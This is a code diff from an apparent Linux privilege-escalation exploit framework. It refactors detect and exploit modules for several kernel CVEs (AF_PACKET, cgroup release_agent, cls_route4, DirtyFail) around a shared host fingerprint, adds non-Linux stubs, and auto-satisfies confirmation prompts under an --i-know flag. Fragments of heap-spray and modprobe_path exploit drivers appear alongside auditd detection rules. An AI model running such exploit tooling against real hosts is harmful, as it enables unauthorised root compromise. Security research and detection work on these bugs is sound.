" skeletonkey intentionally does not embed per-kernel offsets.\n");
|
||||
}
|
||||
if (ctx->full_chain) {
|
||||
#if defined(__x86_64__) && defined(__linux__)
|
||||
#if defined(__x86_64__)
|
||||
/* --full-chain: resolve kernel offsets and run the Or-Cohen
|
||||
* sk_buff-data-pointer hijack via the shared modprobe_path
|
||||
* finisher. Per the verified-vs-claimed bar: if we can't
|
||||
@@ -703,6 +639,29 @@ static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx
|
||||
}
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: AF_PACKET + TPACKET_V2 + tpacket_rcv VLAN
|
||||
* underflow are Linux-only kernel surface. Stub out cleanly so the
|
||||
* module still registers and `--list` / `--detect-rules` work on
|
||||
* macOS/BSD dev boxes — and so the top-level `make` actually completes
|
||||
* there. */
|
||||
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] af_packet2: Linux-only module "
|
||||
"(AF_PACKET TPACKET_V2 + user_ns) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet2: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char af_packet2_auditd[] =
|
||||
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
|
||||
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
|
||||
|
||||
@@ -60,17 +60,23 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
@@ -106,44 +112,35 @@ static const struct kernel_range af_packet_range = {
|
||||
sizeof(af_packet_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&af_packet_range, &v);
|
||||
bool patched = kernel_range_is_patched(&af_packet_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_packet: user_ns+net_ns clone (CAP_NET_RAW gate): %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
@@ -718,8 +715,11 @@ static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* 2. Refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||
* can construct a non-root fingerprint regardless of the test
|
||||
* process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -727,16 +727,19 @@ static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
||||
* early — the kernel-write walk needs them. The integrator can
|
||||
* extend known_offsets[] for new distro builds. */
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
struct af_packet_offsets off;
|
||||
if (!resolve_offsets(&off, &v)) {
|
||||
if (!resolve_offsets(&off, v)) {
|
||||
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
||||
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
||||
v.release);
|
||||
v->release);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
@@ -858,6 +861,30 @@ static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
#endif
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: AF_PACKET + unshare(CLONE_NEWUSER|CLONE_NEWNET)
|
||||
* + TPACKET_V3 ring are Linux-only kernel surface; the TPACKET_V3
|
||||
* integer-overflow primitive is structurally unreachable elsewhere.
|
||||
* Stub out cleanly so the module still registers and `--list` /
|
||||
* `--detect-rules` work on macOS/BSD dev boxes — and so the top-level
|
||||
* `make` actually completes there. */
|
||||
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] af_packet: Linux-only module "
|
||||
"(AF_PACKET TPACKET_V3 + user_ns) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char af_packet_auditd[] =
|
||||
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
||||
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
||||
|
||||
@@ -58,6 +58,7 @@
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
@@ -129,9 +130,14 @@ static bool can_create_af_unix(void)
|
||||
|
||||
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_unix_gc: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
@@ -139,10 +145,10 @@ static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||
* the dawn of time. ANY kernel below the fix is vulnerable. The
|
||||
* kernel_range walker handles "older than every entry" correctly
|
||||
* (returns false → not patched → vulnerable). */
|
||||
bool patched = kernel_range_is_patched(&af_unix_gc_range, &v);
|
||||
bool patched = kernel_range_is_patched(&af_unix_gc_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -157,7 +163,7 @@ static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
|
||||
" (no userns / no CAP_* required — AF_UNIX is universally\n"
|
||||
" creatable). The race window is microseconds wide and\n"
|
||||
@@ -549,7 +555,8 @@ static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ct
|
||||
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
@@ -38,7 +38,6 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -46,6 +45,11 @@
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -71,44 +75,40 @@ static const struct kernel_range cgroup_ra_range = {
|
||||
sizeof(cgroup_ra_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns_mount(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
/* The unprivileged-userns precondition is now read from the shared
|
||||
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
|
||||
* probes once at startup via core/host.c. The previous per-detect
|
||||
* fork-probe helper was removed. */
|
||||
|
||||
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cgroup_release_agent: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
|
||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
@@ -154,7 +154,10 @@ static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -303,6 +306,34 @@ static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: unshare(CLONE_NEWUSER|CLONE_NEWNS) + cgroup v1
|
||||
* mount are Linux-only kernel surface; the release_agent primitive is
|
||||
* structurally unreachable elsewhere. Stub out cleanly so the module
|
||||
* still registers and `--list` / `--detect-rules` work on macOS/BSD
|
||||
* dev boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cgroup_release_agent: Linux-only module "
|
||||
"(user_ns + cgroup v1 release_agent) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cgroup_release_agent: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char cgroup_ra_auditd[] =
|
||||
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
||||
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
||||
|
||||
@@ -40,9 +40,6 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -50,6 +47,14 @@
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -93,55 +98,46 @@ static bool cls_route4_module_available(void)
|
||||
return found;
|
||||
}
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cls_route4: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug-introduction predates anything we'd reasonably scan; if the
|
||||
* kernel is below the oldest LTS we model (5.4), still report
|
||||
* vulnerable. */
|
||||
bool patched = kernel_range_is_patched(&cls_route4_range, &v);
|
||||
bool patched = kernel_range_is_patched(&cls_route4_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Module + userns preconditions. */
|
||||
bool nft_loaded = cls_route4_module_available();
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] cls_route4: cls_route4 module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (may autoload)");
|
||||
fprintf(stderr, "[i] cls_route4: unprivileged user_ns + net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
/* If userns is locked down, unprivileged-LPE path is closed.
|
||||
* Kernel still needs patching though — report PRECOND_FAIL so the
|
||||
* verdict isn't "VULNERABLE" but the issue isn't masked. */
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
@@ -412,8 +408,6 @@ static long slab_active_kmalloc_1k(void)
|
||||
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
|
||||
* not a deterministic R/W. Same shape and same depth as xtcompat. */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
struct cls_route4_arb_ctx {
|
||||
/* msg_msg queues kept hot inside the userns child. The arb-write
|
||||
* sprays additional kaddr-tagged payloads into these and re-fires
|
||||
@@ -544,8 +538,6 @@ static int cls4_arb_write(uintptr_t kaddr,
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Exploit driver ----------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||
@@ -555,7 +547,8 @@ static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx
|
||||
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cls_route4: already root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -565,11 +558,6 @@ static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* Full-chain pre-check: resolve offsets before forking. If
|
||||
* modprobe_path can't be resolved, refuse early — no point doing
|
||||
* the userns + tc + spray + trigger dance if we can't finish. */
|
||||
@@ -782,7 +770,6 @@ static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
@@ -803,6 +790,34 @@ static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: cls_route4 / tc / netlink / msg_msg are
|
||||
* Linux-only kernel surface; the route4 dead-UAF is structurally
|
||||
* unreachable elsewhere. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cls_route4: Linux-only module "
|
||||
"(net/sched cls_route4 + msg_msg) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cls_route4: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char cls_route4_auditd[] =
|
||||
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
|
||||
"# Flag tc filter operations with route4 classifier from non-root.\n"
|
||||
|
||||
@@ -17,6 +17,7 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include "src/common.h"
|
||||
#include "src/copyfail.h"
|
||||
@@ -33,10 +34,39 @@ static void apply_ctx(const struct skeletonkey_ctx *ctx)
|
||||
dirtyfail_use_color = !ctx->no_color;
|
||||
dirtyfail_active_probes = ctx->active_probe;
|
||||
dirtyfail_json = ctx->json;
|
||||
/* Forward the --i-know authorization gate. SKELETONKEY already
|
||||
* blocks --exploit/--auto unless --i-know is passed, so by the time
|
||||
* a DIRTYFAIL exploit callback runs, authorization is established.
|
||||
* This lets typed_confirm() skip its (now redundant) interactive
|
||||
* prompt, which otherwise deadlocks `skeletonkey --auto --i-know`. */
|
||||
dirtyfail_assume_yes = ctx->authorized;
|
||||
/* dirtyfail_no_revert is intentionally not driven from ctx —
|
||||
* it's a debug knob; default stays off. */
|
||||
}
|
||||
|
||||
/* Bridge-level userns precondition. The 4 dirty_frag siblings + the
|
||||
* GCM variant all reach the bug via XFRM-ESP / AF_RXRPC paths gated on
|
||||
* unprivileged user-namespace creation (the inner DIRTYFAIL detect
|
||||
* checks for it too, but doing it here gives the dispatcher one
|
||||
* testable point per module and short-circuits the heavier
|
||||
* inner-detect work when the gate is closed). copy_fail itself uses
|
||||
* AF_ALG which doesn't strictly need userns, so it bypasses this
|
||||
* gate — its inner detect still confirms the primitive empirically. */
|
||||
static skeletonkey_result_t cff_check_userns(const char *modname,
|
||||
const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (ctx->host && !ctx->host->unprivileged_userns_allowed) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] %s: unprivileged user namespaces are "
|
||||
"disabled (host fingerprint) — XFRM/RxRPC variant "
|
||||
"unreachable here%s\n", modname,
|
||||
ctx->host->apparmor_restrict_userns
|
||||
? "; AppArmor restriction is on" : "");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ----- Family-wide --mitigate / --cleanup -----
|
||||
*
|
||||
* The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
|
||||
@@ -148,6 +178,8 @@ const struct skeletonkey_module copy_fail_module = {
|
||||
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("copy_fail_gcm", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)copyfail_gcm_detect();
|
||||
}
|
||||
|
||||
@@ -178,6 +210,8 @@ const struct skeletonkey_module copy_fail_gcm_module = {
|
||||
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_esp_detect();
|
||||
}
|
||||
|
||||
@@ -208,6 +242,8 @@ const struct skeletonkey_module dirty_frag_esp_module = {
|
||||
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp6", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
|
||||
}
|
||||
|
||||
@@ -238,6 +274,8 @@ const struct skeletonkey_module dirty_frag_esp6_module = {
|
||||
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_rxrpc", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
|
||||
}
|
||||
|
||||
|
||||
@@ -31,6 +31,7 @@ bool dirtyfail_use_color = true;
|
||||
bool dirtyfail_active_probes = false;
|
||||
bool dirtyfail_no_revert = false;
|
||||
bool dirtyfail_json = false;
|
||||
bool dirtyfail_assume_yes = false;
|
||||
|
||||
static void vlog(FILE *out, const char *prefix, const char *color,
|
||||
const char *fmt, va_list ap)
|
||||
@@ -226,6 +227,19 @@ size_t build_authenc_keyblob(unsigned char *out,
|
||||
|
||||
bool typed_confirm(const char *expected)
|
||||
{
|
||||
/* When the caller has already cleared an explicit authorization gate
|
||||
* (SKELETONKEY's --i-know, forwarded via dirtyfail_assume_yes), the
|
||||
* DIRTYFAIL typed prompt is redundant and would deadlock non-interactive
|
||||
* runs like `skeletonkey --auto --i-know`. Auto-satisfy it.
|
||||
*
|
||||
* The SSH self-lockout guard (YES_BREAK_SSH) is deliberately exempt:
|
||||
* it protects the operator's own access rather than gating
|
||||
* authorization, so it always requires an interactive answer. */
|
||||
